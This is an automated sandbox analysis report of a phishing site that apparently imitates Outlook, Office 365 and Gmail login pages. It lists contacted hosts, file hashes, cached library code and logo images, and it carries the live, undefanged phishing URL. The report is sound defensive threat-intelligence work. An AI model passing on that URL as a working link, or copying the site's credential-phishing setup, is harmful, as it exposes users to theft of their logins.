Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://statesborozga.cfd/Proten/	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label	Link
http://ianlunn.github.io/Hover/)	0%	URL Reputation	safe
http://ianlunn.co.uk/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
www.google.com	142.250.9.99	true	false	high
statesborozga.cfd	172.67.137.170	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
ka-f.fontawesome.com	unknown	unknown	false	high
kit.fontawesome.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://statesborozga.cfd/Proten/images/outlook1.png	true	unknown
https://statesborozga.cfd/Proten/	true	unknown
https://statesborozga.cfd/Proten/images/gmail.png	true	unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false	high
https://code.jquery.com/jquery-3.1.1.min.js	false	high
https://statesborozga.cfd/favicon.ico	true	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css	false	high
https://statesborozga.cfd/Proten/css/hover.css	true	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	high
https://a.nel.cloudflare.com/report/v4?s=XNBO0AWxeY0lvRO8PAKfVPSrr85CDwEuJf4GPrDq6nJJmOAj2X11IvgYZuKQLs4Zq8w86UdDTsggHHx7V%2BJqNZd5i6zkq9RNbv1weLllln3w%2B9VRmfi%2Fwfa2YTc4zU1AefQFbA%3D%3D	false	high
https://statesborozga.cfd/Proten/images/adobe.jpg	true	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false	high
https://statesborozga.cfd/Proten/images/office3651.png	true	unknown
https://statesborozga.cfd/Proten/images/8.jpg	true	unknown
https://statesborozga.cfd/Proten/images/other1.png	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ianlunn.github.io/Hover/)	chromecache_68.2.dr	false	URL Reputation: safe	unknown
https://ka-f.fontawesome.com	chromecache_73.2.dr	false		high
https://code.jquery.com/jquery-3.3.1.js	chromecache_78.2.dr	false		high
https://fontawesome.com/license/free	chromecache_84.2.dr, chromecache_90.2.dr, chromecache_70.2.dr, chromecache_76.2.dr	false		high
https://fontawesome.com	chromecache_84.2.dr, chromecache_90.2.dr, chromecache_70.2.dr, chromecache_76.2.dr	false		high
https://kit.fontawesome.com	chromecache_73.2.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_66.2.dr	false		high
https://login.microsoftonline.com/common/login	chromecache_78.2.dr	false		high
https://getbootstrap.com)	chromecache_69.2.dr, chromecache_66.2.dr	false		low
http://ianlunn.co.uk/	chromecache_68.2.dr	false	URL Reputation: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_69.2.dr, chromecache_66.2.dr	false		high
https://github.com/IanLunn/Hover	chromecache_68.2.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_91.2.dr	false		high
https://kit.fontawesome.com/585b051251.js	chromecache_78.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.10.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
172.67.137.170	statesborozga.cfd	United States	13335	CLOUDFLARENETUS	true
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.9.99	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1427688
Start date and time:	2024-04-18 00:27:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://statesborozga.cfd/Proten/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.phis.win@16/48@20/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.253.124.94, 64.233.177.138, 64.233.177.102, 64.233.177.101, 64.233.177.113, 64.233.177.100, 64.233.177.139, 142.250.105.84, 34.104.35.123, 172.253.124.95, 142.250.105.95, 172.64.147.188, 104.18.40.68, 173.194.219.94, 104.21.26.223, 172.67.139.119, 108.177.122.95, 172.217.215.95, 173.194.219.95, 64.233.185.95, 142.251.15.95, 74.125.136.95, 142.250.9.95, 74.125.138.95, 64.233.177.95, 64.233.176.95, 20.114.59.183, 199.232.210.172, 20.242.39.171, 192.229.211.108, 13.95.31.18
Excluded domains from analysis (whitelisted): kit.fontawesome.com.cdn.cloudflare.net, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, ka-f.fontawesome.com.cdn.cloudflare.net, content-autofill.googleapis.com, ajax.googleapis.com, fonts.gstatic.com, slscr.update.microsoft.com, clientservices.googleapis.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ocsp.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, ocsp.edge.digicert.com, sls.update.microsoft.com, update.googleapis.com, clients.l.google.com, glb.sls.prod.dcat.dsp.trafficmanager.net
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://statesborozga.cfd/Proten/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 187 x 188, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18025
Entropy (8bit):	3.011161251318808
Encrypted:	false
SSDEEP:	96:2S+WvkiqJq6Uq7NXrNG+GHhsc5yeFZV9D2Ydcx/NTV0K0VFDsCmm:2SJkiOq6Uq75shDs1kFP
MD5:	FE22440D79FFA34950F512EF4A718B2A
SHA1:	0E147E59544EE6580D3095353D4420849FA5EB8A
SHA-256:	A2F26B68A6C8810C1AEB4048C938F835A86BA83756A7A440F989B967E78F3BA8
SHA-512:	64218ECD4140DC05E50EB7BA4C9813794B8B5A4310C8308244205BA6ADA8EE7C2D1840121730A00800E41775241D8AFA02125A966064CD0EB2CC7D3E4605B81C
Malicious:	false
Reputation:	low
URL:	https://statesborozga.cfd/Proten/images/office3651.png
Preview:	.PNG........IHDR............. .......pHYs...............<eiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2020-01-18T21:49:38+05:00</xmp:CreateDate>. <xmp:MetadataDate>2020-01-21T14:30:14+05:00</xmp:MetadataDate>. <x

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	114697
Entropy (8bit):	4.9296726009523
Encrypted:	false
SSDEEP:	1536:67O7EesvXIPRX4PT8aZv8qoXIoqbTFaFeTxvyAZ+D7M71D:qXIPRX4PT3
MD5:	FAC4178C15E5A86139C662DAFC809501
SHA1:	EF1481841399156A880EC31B07DDA9CFAA1ACE39
SHA-256:	BB88454962767EB6F2DDB1AABAAF844D8A57DE7E8F848D7F6928F81B54998452
SHA-512:	0902219B6E236FBF9D8173D1D452C8733C1BF67B0EB906CC9866EA0C27C2D08F6DA556D01475E9B54E2C6CE797B230BFBD5F39055CE0C71EA4D3E36872C378D9
Malicious:	false
Reputation:	low
URL:	https://statesborozga.cfd/Proten/css/hover.css
Preview:	/!. Hover.css (http://ianlunn.github.io/Hover/). * Version: 2.3.2. * Author: Ian Lunn @IanLunn. * Author URL: http://ianlunn.co.uk/. * Github: https://github.com/IanLunn/Hover.. * Hover.css Copyright Ian Lunn 2017. Generated with Sass.. /./ 2D TRANSITIONS /./ Grow /..hvr-grow {. display: inline-block;. vertical-align: middle;. -webkit-transform: perspective(1px) translateZ(0);. transform: perspective(1px) translateZ(0);. box-shadow: 0 0 1px rgba(0, 0, 0, 0);. -webkit-transition-duration: 0.3s;. transition-duration: 0.3s;. -webkit-transition-property: transform;. transition-property: transform;.}..hvr-grow:hover, .hvr-grow:focus, .hvr-grow:active {. -webkit-transform: scale(1.1);. transform: scale(1.1);.}../ Shrink */..hvr-shrink {. display: inline-block;. vertical-align: middle;. -webkit-transform: perspective(1px) translateZ(0);. transform: perspective(1px) translateZ(0);. box-shadow: 0 0 1px rgba(0, 0, 0, 0);. -webkit-transition-duration: 0.3s;. transition-

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65325)
Category:	downloaded
Size (bytes):	144877
Entropy (8bit):	5.049937202697915
Encrypted:	false
SSDEEP:	1536:GcoqwrUPyDHU7c7TcDEBi82NcuSELL4d/+oENM6HN26Q:VoPgPard2oENM6HN26Q
MD5:	450FC463B8B1A349DF717056FBB3E078
SHA1:	895125A4522A3B10EE7ADA06EE6503587CBF95C5
SHA-256:	2C0F3DCFE93D7E380C290FE4AB838ED8CADFF1596D62697F5444BE460D1F876D
SHA-512:	93BF1ED5F6D8B34F53413A86EFD4A925D578C97ABC757EA871F3F46F340745E4126C48219D2E8040713605B64A9ECF7AD986AA8102F5EA5ECF9228801D962F5D
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors. * Copyright 2011-2018 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace},::after,::before{box-sizing:border-box}html{font-family:sans

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60130)
Category:	dropped
Size (bytes):	60312
Entropy (8bit):	4.72859504417617
Encrypted:	false
SSDEEP:	768:PUh31IPiyXNq4YxBowbgJlkwF//zMQyYJYX9Bf7VSz8:PU0PxXE4YXJgndFTfy9lQQ
MD5:	A12EC7EBE75A4D59A5DD6B79E2BA2E16
SHA1:	28F5DCC595EE6D4163481EF64170180502C8629B
SHA-256:	FC5128DFDCDFA0C3A9967A6D2F19399D7BF1AAAE6AD7571B96B03915A1F30DDA
SHA-512:	28B9EA5F3F95807259C2745162424ACEECAC2556BC1AB9A3B33E4E15B54C6970A4DF4A5892FE83C1155C82CA8D93AEBB173BE32F1A7F8B9D3CE038B2DD1E6FFE
Malicious:	false
Reputation:	low
Preview:	/!. Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pul

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 190 x 187, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21882
Entropy (8bit):	4.268463452779894
Encrypted:	false
SSDEEP:	192:ESCkiDw7e9Mg/wio0EYm9FWyo2XdJfXoOZdEDfmiIJQdiRVi/WTanY:DBiDw7eAdq+FWyo2/fXoZbDIJ0ci/BnY
MD5:	6843A244E12FAB158AA189680B5E7049
SHA1:	0E1C691F87CC4FA35C88344974F2829C40176B70
SHA-256:	3A9B144D6482B78AFC4E0A940A1D3C22240F14FA535B808CF4DAB9635339569F
SHA-512:	145010C45B6B83EA4005EB367C0507959FF0817E482F19E9973504081ACAE1B7827CBD1172CEC7732B13F4E0CEC058271BD6700444FBCF61FB6A3C068A3744C4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............$.... cHRM..z&..............u0...`..:....p..Q<....sRGB.........gAMA......a.....pHYs...............:.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2020-01-18T21:59:57+05:00</xmp:CreateDate>. <

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 26 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	771
Entropy (8bit):	7.682244426935498
Encrypted:	false
SSDEEP:	24:74yiH9yQmOntihdLl00qDeu1BcaDa0oljZG0:omOntO7v/uJDYG0
MD5:	C3FC46C5799C76F9107504028F39190F
SHA1:	519096AD3F03410CF9CE3C9B9FCCA6B439D97B23
SHA-256:	57898461712A639D119BDF88B7145919DCC8956C7A271D2E4A1084B29EAE6785
SHA-512:	DF4A0A2F78B2013035FB738BF405119B275D4CFEC31A23071EB9AF499D5F31FDC4BE22754CE791C975D7D417E908B5CAD16F962B0ADD3DFDCDE19844D74F6678
Malicious:	false
Reputation:	low
URL:	https://statesborozga.cfd/Proten/images/outlook1.png
Preview:	.PNG........IHDR..............JL.....bKGD..............IDATH....k.A..k6.b.F1..H@...j@.aQ...(.. .. ........ .A..D...I......E......1...W...;;.Y.d.}].U5]..x"3?....!..A..y..+R2\...m.NX.=..p.0...d.^.3......J.Z.X.).....P\..x1.3.M.0....m.........F....?...n.......l.Fo)x._ R\|.s..a.T?...?.=.9.Y..u....z..\|.....Wz...h..<..P.. ...$.Y......k`/4.y/......L.C......."....U....7....G...'h.....1j1E..%t.....@..a.......b.ED-.Tn.<..o.D...o..(.{1l>........".4a.:k.I./.7t./.Q-'..>.. ......'3eb..d.@=4...C....A...;..N.X3.(.......,v...+...S...W..l...@,...j.).u<..@u..0...V&.b.yp.....0..o.?..V..B =.~&m"r(...6;EP.T.......h.m".[f.U)\|t..2.Q.....g.cP.W...D..[.O>..d;.yI.{/..#v.._..$.Q.......t\E..5i.q._.."/n...v.w..Uo ...#..S....^.....F..+._??.r.......IEND.B`.

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11461)
Category:	downloaded
Size (bytes):	11893
Entropy (8bit):	5.198678335763684
Encrypted:	false
SSDEEP:	192:mO3pHufQPTACpF4Pvhzz6E/ra/sb4nZIPWfz3JBGvh3e1Q5l8h6LDeFTjC0:mdRCchzzYfnqejah3e1Q5l8h6vb0
MD5:	AD8F17350E1D4A04420CBB4B0DECAA9F
SHA1:	75F7FC910753DAAA4CDF21E635D19BB360E910A4
SHA-256:	C793566A031D49B4E445CC0A876D62A160A6C520D42ACD80F3FDC06323F94FD4
SHA-512:	7443A892CBBAADDE2396699A499C407397BBF6A8074E9D69A3D4C441B36F8D49DC5E3EAEDA280620946D0FCFCD2DE1341F77C362AA846F8068D2A78BBD740ADF
Malicious:	false
Reputation:	low
URL:	https://kit.fontawesome.com/585b051251.js
Preview:	window.FontAwesomeKitConfig = {"id":132286382,"version":"5.15.4","token":"585b051251","method":"css","license":"free","baseUrl":"https://ka-f.fontawesome.com","asyncLoading":{"enabled":true},"autoA11y":{"enabled":true},"baseUrlKit":"https://kit.fontawesome.com","detectConflictsUntil":null,"iconUploads":{},"minify":{"enabled":true},"v4FontFaceShim":{"enabled":false},"v4shim":{"enabled":true},"v5FontFaceShim":{"enabled":false}};.!function(t){"function"==typeof define&&define.amd?define("kit-loader",t):t()}((function(){"use strict";function t(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(t);e&&(r=r.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.push.apply(n,r)}return n}function e(e){for(var n=1;n<arguments.length;n++){var o=null!=arguments[n]?arguments[n]:{};n%2?t(Object(o),!0).forEach((function(t){r(e,t,o[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(o)):

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
Reputation:	low
URL:	https://statesborozga.cfd/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.378783493486175
Encrypted:	false
SSDEEP:	3:qinPt:qyPt
MD5:	4C42AB4890733A2B01B1B3269C4855E7
SHA1:	5B68BFE664DCBC629042EA45C23954EEF1A9F698
SHA-256:	F69E8FC1414A82F108CFA0725E5211AF1865A9CEA342A5F01E6B2B5ABE47E010
SHA-512:	0631C6EFD555699CB2273107FE5AF565FEC2234344E2D412C23E4EE43C6D721CB2B058764622E44FD544D840FF64D7C866565E280127C701CAAB0A48C35D4F5C
Malicious:	false
Reputation:	low
